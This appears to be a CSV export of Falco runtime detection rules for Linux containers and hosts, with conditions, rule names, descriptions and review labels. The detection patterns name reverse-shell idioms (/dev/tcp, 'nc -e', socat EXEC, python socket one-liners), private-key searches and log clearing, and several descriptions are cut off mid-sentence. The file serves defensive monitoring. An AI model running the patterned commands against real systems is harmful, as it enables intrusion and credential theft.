0d88deb9928867f2453faed2,"chmod and container and evt.rawres>=0 and ((evt.arg.mode contains ""S_IXUSR"") or (evt.arg.mode contains ""S_IXGRP"") or (evt.arg.mode contains ""S_IXOTH"")) and not runc_writing_exec_fifo and not runc_writing_var_lib_docker and not user_known_container_drift_activities","chmod and container and evt.rawres>=0 and ((evt.arg.mode contains ""S_IXUSR"") or (evt.arg.mode contains ""S_IXGRP"") or (evt.arg.mode contains ""S_IXOTH"")) and not runc_writing_exec_fifo and not runc_writing_var_lib_docker and not user_known_container_drift_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Container Drift Detected (chmod),falco_condition,[],linux/container,0.3,True,"Detect new executables created within a container as a result of chmod. While this detection can generate significant noise, chmod usage is frequently linked to dropping and executing malicious implants. The newer rule ""Drop and execute new binary in container"" provides more precise detection of this TTP using unambiguous kernel signals. It is recommended to use the new rule. However, this rule might be more relevant for auditing if applicable in your environment, such as when chmod is used on f",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c1e5efa413489c5bbf22b0ac,"evt.type in (open,openat,openat2,creat) and evt.rawres>=0 and evt.is_open_exec=true and container and not runc_writing_exec_fifo and not runc_writing_var_lib_docker and not user_known_container_drift_activities","evt.type in (open,openat,openat2,creat) and evt.rawres>=0 and evt.is_open_exec=true and container and not runc_writing_exec_fifo and not runc_writing_var_lib_docker and not user_known_container_drift_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Container Drift Detected (open+create),falco_condition,[],linux/container,0.3,True,"Detect new executables created within a container as a result of open+create. The newer rule ""Drop and execute new binary in container"" provides more precise detection of this TTP using unambiguous kernel signals. It is recommended to use the new rule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bbc01e2a7021f0580651cb0b,spawned_process and container and proc.vpid=1 and user.uid=0 and not user_known_run_as_root_container,spawned_process and container and proc.vpid=1 and user.uid=0 and not user_known_run_as_root_container,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Container Run as Root User,falco_condition,[],linux/container,0.3,True,"Container detected running as the root user. This should be taken into account especially when policies disallow containers from running with root user privileges. Note that a root user in containers doesn't inherently possess extensive power, as modern container environments define privileges through Linux capabilities. To learn more, check out the rule ""Launch Privileged Container"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89cc1aa5c433bc3f5cf87bcf,"spawned_process and user.uid != 0 and (proc.name=sudoedit or proc.name = sudo) and (proc.args contains -s or proc.args contains -i or proc.args contains --login) and (proc.args contains ""\ "" or proc.args endswith \)","spawned_process and user.uid != 0 and (proc.name=sudoedit or proc.name = sudo) and (proc.args contains -s or proc.args contains -i or proc.args contains --login) and (proc.args contains ""\ "" or proc.args endswith \)",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Sudo Potential Privilege Escalation,falco_condition,[],linux/container,0.3,True,"Affecting sudo (<= 1.9.5p2), there's a privilege escalation vulnerability. By executing sudo using the sudoedit -s or sudoedit -i command with a command-line argument that ends with a single backslash character, an unprivileged user can potentially escalate privileges to root. This rule is highly specific and might be bypassed due to potential issues with string matching on command line arguments.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ccbf64645d3d8db9e9f63dc4,evt.type = userfaultfd and user.uid != 0 and (evt.rawres >= 0 or evt.res != -1) and not proc.name in (user_known_userfaultfd_processes),evt.type = userfaultfd and user.uid != 0 and (evt.rawres >= 0 or evt.res != -1) and not proc.name in (user_known_userfaultfd_processes),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Unprivileged Delegation of Page Faults Handling to a Userspace Process,falco_condition,[],linux/container,0.3,True,"Detect a successful unprivileged userfaultfd syscall, which could serve as an attack primitive for exploiting other vulnerabilities. To fine-tune this rule, consider using the template list ""user_known_userfaultfd_processes"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1061a6c45e832da67599a3ed,spawned_process and user.uid != 0 and proc.name=pkexec and proc.args = '',spawned_process and user.uid != 0 and proc.name=pkexec and proc.args = '',bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034),falco_condition,[],linux/container,0.3,True,"This rule detects attempts to exploit a privilege escalation vulnerability in Polkit's pkexec. Through the execution of specially crafted code, a local user can exploit this weakness to attain root privileges on a compromised system. This rule is highly specific in its scope.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71bcea6474456290fdc94106,java_network_read and evt.buffer bcontains cafebabe,java_network_read and evt.buffer bcontains cafebabe,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Java Process Class File Download,falco_condition,[],linux/container,0.3,True,"Detecting a Java process downloading a class file which could indicate a successful exploit of the log4shell Log4j vulnerability (CVE-2021-44228). This rule is highly specific in its scope.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
09728430279d82f9cc565512,"open_write and container and (fd.name=/proc/self/exe or fd.name startswith /proc/self/fd/) and not docker_procs and not proc.cmdline = ""runc:[1:CHILD] init""","open_write and container and (fd.name=/proc/self/exe or fd.name startswith /proc/self/fd/) and not docker_procs and not proc.cmdline = ""runc:[1:CHILD] init""",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Modify Container Entrypoint,falco_condition,[],linux/container,0.3,True,"This rule detect an attempt to write on container entrypoint symlink (/proc/self/exe). Possible CVE-2019-5736 Container Breakout exploitation attempt. This rule has a more narrow scope.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d45c4cf5511ea1d6c80b23c,spawned_process and container and base64_decoding and not container.image.repository in (known_decode_payload_containers),spawned_process and container and base64_decoding and not container.image.repository in (known_decode_payload_containers),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Decoding Payload in Container,falco_condition,[],linux/container,0.3,True,"Detect any use of {base64} decoding in a container. Legitimate applications may decode encoded payloads. The template list known_decode_payload_containers can be used for simple tuning and customization, or you can adopt custom, more refined tuning. Less sophisticated adversaries may {base64}-decode their payloads not only to obfuscate them, but also to ensure that the payload remains intact when the application processes it. Note that injecting commands into an application's input often results",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0b8bda6f9141e2ea3faa780,spawned_process and recon_binaries_procs and proc.tty != 0 and proc.is_vpgid_leader=true,spawned_process and recon_binaries_procs and proc.tty != 0 and proc.is_vpgid_leader=true,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Basic Interactive Reconnaissance,falco_condition,[],linux/container,0.3,True,"This rule detects basic interactive reconnaissance commands that are typically run by unsophisticated attackers or used in internal Red Team exercises. Interactive is defined as a terminal being present (proc.tty != 0). This could be any form of reverse shell or usage of kubectl exec or ssh etc. In addition, filtering for the process being the process group leader indicates that the command was ""directly"" typed into the terminal and not run as a result of a script. This rule is a basic auditing ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00ea5eb1de7d08bd3e059109,"spawned_process and not container and ((proc.name = ""nc"" and (proc.cmdline contains ""-e"" or proc.cmdline contains ""-c"")) or (proc.name = ""ncat"" and (proc.args contains ""--sh-exec"" or proc.args contains ""--exec"" or proc.args contains ""-e "" or proc.args contains ""-c "" or proc.args contains ""--lua-exec"")) or (proc.name = 'socat' and (proc.args contains ""EXEC"" or proc.args contains ""SYSTEM"")))","spawned_process and not container and ((proc.name = ""nc"" and (proc.cmdline contains ""-e"" or proc.cmdline contains ""-c"")) or (proc.name = ""ncat"" and (proc.args contains ""--sh-exec"" or proc.args contains ""--exec"" or proc.args contains ""-e "" or proc.args contains ""-c "" or proc.args contains ""--lua-exec"")) or (proc.name = 'socat' and (proc.args contains ""EXEC"" or proc.args contains ""SYSTEM"")))",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Netcat/Socat Remote Code Execution on Host,falco_condition,[],linux/container,0.3,True,"Netcat/Socat Program runs on host that allows remote code execution and may be utilized as a part of a variety of reverse shell payload https://github.com/swisskyrepo/PayloadsAllTheThings/. These programs are of higher relevance as they are commonly installed on UNIX-like operating systems.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a0d3c3d317313f49b9bcfbc4,spawned_process and container and network_tool_procs and npm_package_install_ancestor and not user_known_network_tool_in_npm_install_activities,spawned_process and container and network_tool_procs and npm_package_install_ancestor and not user_known_network_tool_in_npm_install_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Network Tool Executed During NPM Package Install,falco_condition,[],linux/container,0.3,True,"Detect network tools being launched when an NPM package is installed. Malicious NPM packages may invoke  preinstall or postinstall commands, which can involve network tools to download malicious payloads or exfiltrate  sensitive information. Network tools spawned by npm, node, yarn, pnpm, bun, or related processes during  package installation should be investigated. This rule complements the more generic ""Launch Suspicious Network  Tool in Container"" rule with a specific focus on the supply chai",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5328f5b750e21b3690bb9f05,spawned_process and is_miner_process,spawned_process and is_miner_process,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Known Cryptominer Process Executed,falco_condition,[],linux/container,0.3,True,"Detects execution of known cryptocurrency mining software by matching process names against a list of common miners. Cryptominers are commonly deployed by attackers after gaining initial access to monetize compromised systems. This rule complements the existing ""Detect crypto miners using the Stratum protocol"" rule by catching miners that may use renamed binaries but still match known miner process names. Consider tuning this rule if you have legitimate mining operations in your environment.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f07963fdc567ec6961cf47a,"spawned_process and spawned_by_web_server and proc.name in (shell_binaries) and not proc.cmdline startswith ""sh -c /usr/bin"" and not proc.cmdline contains ""healthcheck"" and not user_known_web_server_shell_activities","spawned_process and spawned_by_web_server and proc.name in (shell_binaries) and not proc.cmdline startswith ""sh -c /usr/bin"" and not proc.cmdline contains ""healthcheck"" and not user_known_web_server_shell_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Web Server Spawned Shell,falco_condition,[],linux/container,0.3,True,"Detects a web server process (nginx, apache, php-fpm, etc.) spawning an interactive shell. This is a strong indicator of webshell exploitation or remote code execution vulnerability being actively exploited. Webshells are a common persistence mechanism used by attackers after compromising web applications. The macro user_known_web_server_shell_activities can be overridden to tune for legitimate use cases like CGI scripts. Note that simple shell wrappers used in health checks are excluded.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82423ff81db8e1a27bc44cd3,"spawned_process and spawned_by_web_server and proc.name in (suspicious_web_children) and not proc.name in (shell_binaries) and not proc.cmdline contains ""healthcheck"" and not proc.cmdline contains ""status"" and not user_known_web_server_child_activities","spawned_process and spawned_by_web_server and proc.name in (suspicious_web_children) and not proc.name in (shell_binaries) and not proc.cmdline contains ""healthcheck"" and not proc.cmdline contains ""status"" and not user_known_web_server_child_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Web Server Spawned Suspicious Child Process,falco_condition,[],linux/container,0.3,True,"Detects web server processes spawning suspicious child processes like curl, wget, netcat, or scripting interpreters. These often indicate exploitation of web application vulnerabilities, where attackers download additional payloads or establish network connections. This rule is more sensitive than the shell spawning rule and may require tuning in environments where web applications legitimately execute system commands. Override the macro user_known_web_server_child_activities for custom tuning.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8f402e9b222fe693a14823c1,"spawned_process and spawned_by_web_server and (proc.cmdline contains ""/dev/tcp/"" or proc.cmdline contains ""nc -e"" or proc.cmdline contains ""ncat -e"" or proc.cmdline contains ""bash -i"" or proc.cmdline contains ""python -c 'import socket"" or proc.cmdline contains ""python3 -c 'import socket"" or proc.cmdline contains ""perl -e 'use Socket"" or proc.cmdline contains ""ruby -rsocket"" or (proc.cmdline contains ""mkfifo"" and proc.cmdline contains ""/tmp""))","spawned_process and spawned_by_web_server and (proc.cmdline contains ""/dev/tcp/"" or proc.cmdline contains ""nc -e"" or proc.cmdline contains ""ncat -e"" or proc.cmdline contains ""bash -i"" or proc.cmdline contains ""python -c 'import socket"" or proc.cmdline contains ""python3 -c 'import socket"" or proc.cmdline contains ""perl -e 'use Socket"" or proc.cmdline contains ""ruby -rsocket"" or (proc.cmdline contains ""mkfifo"" and proc.cmdline contains ""/tmp""))",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Reverse Shell from Web Server,falco_condition,[],linux/container,0.3,True,"Detects common reverse shell patterns spawned from web server processes. Attackers frequently establish reverse shells after exploiting web vulnerabilities to maintain interactive access to the compromised system. This rule looks for specific command patterns known to create reverse shells, including bash /dev/tcp redirects, netcat with -e flag, and common scripting language reverse shell idioms.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1160f1998823ccb97ff02819,(open_read or open_write) and container and (fd.name startswith /dev/sd or fd.name startswith /dev/nvme or fd.name startswith /dev/vd or fd.name startswith /dev/xvd or fd.name = /dev/mem or fd.name = /dev/kmem) and not user_known_privileged_device_access,(open_read or open_write) and container and (fd.name startswith /dev/sd or fd.name startswith /dev/nvme or fd.name startswith /dev/vd or fd.name startswith /dev/xvd or fd.name = /dev/mem or fd.name = /dev/kmem) and not user_known_privileged_device_access,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Privileged Container Device Access,falco_condition,[],linux/container,0.3,True,"Detects container processes accessing raw block devices, which could be used to escape container isolation by directly reading or writing to host storage. This technique allows attackers to access the host filesystem, modify system files, or extract sensitive data even without traditional container escape. Requires the container to have privileged access or specific device permissions. Override user_known_privileged_device_access for legitimate storage operations.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
055f5973329665460653ee32,(open_read or open_write) and container and (fd.name startswith /host/ or fd.name startswith /rootfs/ or fd.name startswith /hostfs/) and not known_container_runtime_host_access and not user_known_host_path_access,(open_read or open_write) and container and (fd.name startswith /host/ or fd.name startswith /rootfs/ or fd.name startswith /hostfs/) and not known_container_runtime_host_access and not user_known_host_path_access,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Container Access to Host Sensitive Paths,falco_condition,[],linux/container,0.3,True,"Detects container processes accessing paths that typically only exist when the host filesystem is mounted into the container (like /host, /rootfs, /hostfs). This may indicate a container escape attempt or a misconfigured volume mount that exposes the host filesystem. Legitimate monitoring or backup containers may access these paths, so tune accordingly using the user_known_host_path_access macro.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
910b0b0b6043049feddf1462,"(open_read or open_file_failed) and (etc_dir or user_ssh_directory or fd.name startswith /root/.ssh or fd.name contains ""id_rsa"") and directory_traversal and not proc.pname in (shell_binaries)","(open_read or open_file_failed) and (etc_dir or user_ssh_directory or fd.name startswith /root/.ssh or fd.name contains ""id_rsa"") and directory_traversal and not proc.pname in (shell_binaries)",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Directory traversal monitored file read,falco_condition,[],linux/container,0.3,True,"Web applications can be vulnerable to directory traversal attacks that allow accessing files outside of the web app's root directory (e.g. Arbitrary File Read bugs). System directories like /etc are typically accessed via absolute paths. Access patterns outside of this (here path traversal) can be regarded as suspicious. This rule includes failed file open attempts.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c6db6a39b159913bd69840f,"open_read and sensitive_files and server_procs and not proc_is_new and proc.name!=""sshd"" and not user_known_read_sensitive_files_activities","open_read and sensitive_files and server_procs and not proc_is_new and proc.name!=""sshd"" and not user_known_read_sensitive_files_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Read sensitive file trusted after startup,falco_condition,[],linux/container,0.3,True,"An attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards. Can be customized as needed. In modern containerized cloud infrastructures, accessing traditional Linux sensitive files might be less relevant, yet it remains valuable for baseline detections. While we provide additional rules for SSH or cloud vendor-specific credent",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
831852869b3dd7e77c1fdbe6,"open_read and sensitive_files and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries, vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries, in.proftpd, mandb, salt-call, salt-minion, postgres_mgmt_binaries, google_oslogin_ ) and not cmp_cp_by_passwd and not ansible_running_python and not run_by_qualys and not run_by_chef and not run_by_google_accounts_daemon and not user_read_sensitive_file_conditions and not mandb_postinst and not perl_running_plesk and not perl_running_updmap and not veritas_driver_script and not perl_running_centrifydc and not runuser_reading_pam and not linux_bench_reading_etc_shadow and not user_known_read_sensitive_files_activities and not user_read_sensitive_file_containers","open_read and sensitive_files and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries, vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries, in.proftpd, mandb, salt-call, salt-minion, postgres_mgmt_binaries, google_oslogin_ ) and not cmp_cp_by_passwd and not ansible_running_python and not run_by_qualys and not run_by_chef and not run_by_google_accounts_daemon and not user_read_sensitive_file_conditions and not mandb_postinst and not perl_running_plesk and not perl_running_updmap and not veritas_driver_script and not perl_running_centrifydc and not runuser_reading_pam and not linux_bench_reading_etc_shadow and not user_known_read_sensitive_files_activities and not user_read_sensitive_file_containers",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Read sensitive file untrusted,falco_condition,[],linux/container,0.3,True,"An attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. Can be customized as needed. In modern containerized cloud infrastructures, accessing traditional Linux sensitive files might be less relevant, yet it remains valuable for baseline detections. While we provide additional rules for SSH or cloud vendor-specific credentials, you can significantly enhance your security program by crafting custom rule",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cba3955669c69655b3d85d98,"spawned_process and shell_procs and proc.pname exists and protected_shell_spawner and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries, needrestart_binaries, mesos_shell_binaries, erl_child_setup, exechealthz, PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf, lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node, ""puma reactor"") and not proc.cmdline in (known_shell_spawn_cmdlines) and not proc.aname in (unicorn_launche) and not consul_running_net_scripts and not consul_running_alert_checks and not nginx_starting_nginx and not nginx_running_aws_s3_cp and not run_by_package_mgmt_binaries and not serf_script and not check_process_status and not run_by_foreman and not python_mesos_marathon_scripting and not splunk_running_forwarder and not postgres_running_wal_e and not postgres_running_cnpg and not redis_running_prepost_scripts and not rabbitmq_running_scripts and not rabbitmqctl_running_scripts and not run_by_appdynamics and not user_shell_container_exclusions","spawned_process and shell_procs and proc.pname exists and protected_shell_spawner and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries, needrestart_binaries, mesos_shell_binaries, erl_child_setup, exechealthz, PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf, lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node, ""puma reactor"") and not proc.cmdline in (known_shell_spawn_cmdlines) and not proc.aname in (unicorn_launche) and not consul_running_net_scripts and not consul_running_alert_checks and not nginx_starting_nginx and not nginx_running_aws_s3_cp and not run_by_package_mgmt_binaries and not serf_script and not check_process_status and not run_by_foreman and not python_mesos_marathon_scripting and not splunk_running_forwarder and not postgres_running_wal_e and not postgres_running_cnpg and not redis_running_prepost_scripts and not rabbitmq_running_scripts and not rabbitmqctl_running_scripts and not run_by_appdynamics and not user_shell_container_exclusions",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Run shell untrusted,falco_condition,[],linux/container,0.3,True,"An attempt to spawn a shell below a non-shell application. The non-shell applications that are monitored are defined in the protected_shell_spawner macro, with protected_shell_spawning_binaries being the list you can easily customize. For Java parent processes, please note that Java often has a custom process name. Therefore, rely more on proc.exe to define Java applications. This rule can be noisier, as you can see in the exhaustive existing tuning. However, given it is very behavior-driven and",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac09e1c5e238597d4abbb073,spawned_process and system_users and interactive and not user_known_system_user_login,spawned_process and system_users and interactive and not user_known_system_user_login,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,System user interactive,falco_condition,[],linux/container,0.3,True,"System (e.g. non-login) users spawning new processes. Can add custom service users (e.g. apache or mysqld). 'Interactive' is defined as new processes as descendants of an ssh session or login process. Consider further tuning by only looking at processes in a terminal / tty (proc.tty != 0). A newer field proc.is_vpgid_leader could be of help to distinguish if the process was ""directly"" executed, for instance, in a tty, or executed as a descendant process in the same process group, which, for exam",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41c2a77bbf7e01cb9c8f42a9,spawned_process and container and shell_procs and proc.tty != 0 and container_entrypoint and not user_expected_terminal_shell_in_container_conditions,spawned_process and container and shell_procs and proc.tty != 0 and container_entrypoint and not user_expected_terminal_shell_in_container_conditions,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Terminal shell in container,falco_condition,[],linux/container,0.3,True,"A shell was used as the entrypoint/exec point into a container with an attached terminal. Parent process may have legitimately already exited and be null (read container_entrypoint macro). Common when using ""kubectl exec"" in Kubernetes. Correlate with k8saudit exec logs if possible to find user or serviceaccount token used (fuzzy correlation by namespace and pod name). Rather than considering it a standalone rule, it may be best used as generic auditing rule while examining other triggered rules",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67dd1ea90bdbee26e19d0fb7,evt.type=connect and (fd.typechar=4 or fd.typechar=6) and container and k8s_api_server and not k8s_containers and not user_known_contact_k8s_api_server_activities,evt.type=connect and (fd.typechar=4 or fd.typechar=6) and container and k8s_api_server and not k8s_containers and not user_known_contact_k8s_api_server_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Contact K8S API Server From Container,falco_condition,[],linux/container,0.3,True,"Detect attempts to communicate with the K8S API Server from a container by non-profiled users. Kubernetes APIs play a pivotal role in configuring the cluster management lifecycle. Detecting potential unauthorized access to the API server is of utmost importance. Audit your complete infrastructure and pinpoint any potential machines from which the API server might be accessible based on your network layout. If Falco can't operate on all these machines, consider analyzing the Kubernetes audit logs",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
512b681b37d789d6d2f3942b,"spawned_process and container and ((proc.name = ""nc"" and (proc.cmdline contains "" -e"" or proc.cmdline contains "" -c"")) or (proc.name = ""ncat"" and (proc.args contains ""--sh-exec"" or proc.args contains ""--exec"" or proc.args contains ""-e "" or proc.args contains ""-c "" or proc.args contains ""--lua-exec"")) )","spawned_process and container and ((proc.name = ""nc"" and (proc.cmdline contains "" -e"" or proc.cmdline contains "" -c"")) or (proc.name = ""ncat"" and (proc.args contains ""--sh-exec"" or proc.args contains ""--exec"" or proc.args contains ""-e "" or proc.args contains ""-c "" or proc.args contains ""--lua-exec"")) )",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Netcat Remote Code Execution in Container,falco_condition,[],linux/container,0.3,True,"Netcat Program runs inside container that allows remote code execution and may be utilized as a part of a variety of reverse shell payload https://github.com/swisskyrepo/PayloadsAllTheThings/. These programs are of higher relevance as they are commonly installed on UNIX-like operating systems. Can fire in combination with the ""Redirect STDOUT/STDIN to Network Connection in Container"" rule as it utilizes a different evt.type.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8334d1a5ae74d0b731728d4,"spawned_process and ((grep_commands and private_key_or_password) or (proc.name = ""find"" and (proc.args contains ""id_rsa"" or proc.args contains ""id_dsa"" or proc.args contains ""id_ed25519"" or proc.args contains ""id_ecdsa"" ) ))","spawned_process and ((grep_commands and private_key_or_password) or (proc.name = ""find"" and (proc.args contains ""id_rsa"" or proc.args contains ""id_dsa"" or proc.args contains ""id_ed25519"" or proc.args contains ""id_ecdsa"" ) ))",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Search Private Keys or Passwords,falco_condition,[],linux/container,0.3,True,"Detect attempts to search for private keys or passwords using the grep or find command. This is often seen with unsophisticated attackers, as there are many ways to access files using bash built-ins that could go unnoticed. Regardless, this serves as a solid baseline detection that can be tailored to cover these gaps while maintaining an acceptable noise level.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4e7844ce1da8bfbf5df8713,"open_write and access_log_files and evt.arg.flags contains ""O_TRUNC"" and not containerd_activities and not trusted_logging_images and not allowed_clear_log_files","open_write and access_log_files and evt.arg.flags contains ""O_TRUNC"" and not containerd_activities and not trusted_logging_images and not allowed_clear_log_files",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Clear Log Activities,falco_condition,[],linux/container,0.3,True,"Detect clearing of critical access log files, typically done to erase evidence that could be attributed to an adversary's actions. To effectively customize and operationalize this detection, check for potentially missing log file destinations relevant to your environment, and adjust the profiled containers you wish not to be alerted on.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11f900024fb5eec842c83aa8,spawned_process and clear_data_procs and not user_known_remove_data_activities,spawned_process and clear_data_procs and not user_known_remove_data_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Remove Bulk Data from Disk,falco_condition,[],linux/container,0.3,True,"Detect a process running to clear bulk data from disk with the intention to destroy data, possibly interrupting availability to systems. Profile your environment and use user_known_remove_data_activities to tune this rule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4416daa978c3bac86f8a7c2c,create_symlink and (evt.arg.target in (sensitive_file_names) or evt.arg.target in (sensitive_directory_names)),create_symlink and (evt.arg.target in (sensitive_file_names) or evt.arg.target in (sensitive_directory_names)),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Create Symlink Over Sensitive Files,falco_condition,[],linux/container,0.3,True,"Detect symlinks created over a curated list of sensitive files or subdirectories under /etc/ or root directories. Can be customized as needed. Refer to further and equivalent guidance within the rule ""Read sensitive file untrusted"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86b15afd461ef434882aaa4c,create_hardlink and (evt.arg.oldpath in (sensitive_file_names)),create_hardlink and (evt.arg.oldpath in (sensitive_file_names)),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Create Hardlink Over Sensitive Files,falco_condition,[],linux/container,0.3,True,"Detect hardlink created over a curated list of sensitive files or subdirectories under /etc/ or root directories. Can be customized as needed. Refer to further and equivalent guidance within the rule ""Read sensitive file untrusted"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20036ee4e9490244bcd54853,evt.type=socket and container and evt.arg.domain contains AF_PACKET and not proc.name in (user_known_packet_socket_binaries),evt.type=socket and container and evt.arg.domain contains AF_PACKET and not proc.name in (user_known_packet_socket_binaries),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Packet socket created in container,falco_condition,[],linux/container,0.3,True,"Detect new packet socket at the device driver (OSI Layer 2) level in a container. Packet socket could be used for ARP Spoofing and privilege escalation (CVE-2020-14386) by an attacker. Noise can be reduced by using the user_known_packet_socket_binaries template list.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
774a62d2c83224d4d0c29b20,"dup and container and evt.rawres in (0, 1, 2) and fd.type in (""ipv4"", ""ipv6"") and not user_known_stand_streams_redirect_activities","dup and container and evt.rawres in (0, 1, 2) and fd.type in (""ipv4"", ""ipv6"") and not user_known_stand_streams_redirect_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Redirect STDOUT/STDIN to Network Connection in Container,falco_condition,[],linux/container,0.3,True,"Detect redirection of stdout/stdin to a network connection within a container, achieved by utilizing a variant of the dup syscall (potential reverse shell or remote code execution https://github.com/swisskyrepo/PayloadsAllTheThings/). This detection is behavior-based and may generate noise in the system, and can be adjusted using the user_known_stand_streams_redirect_activities template macro. Tuning can be performed similarly to existing detections based on process lineage or container images, ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
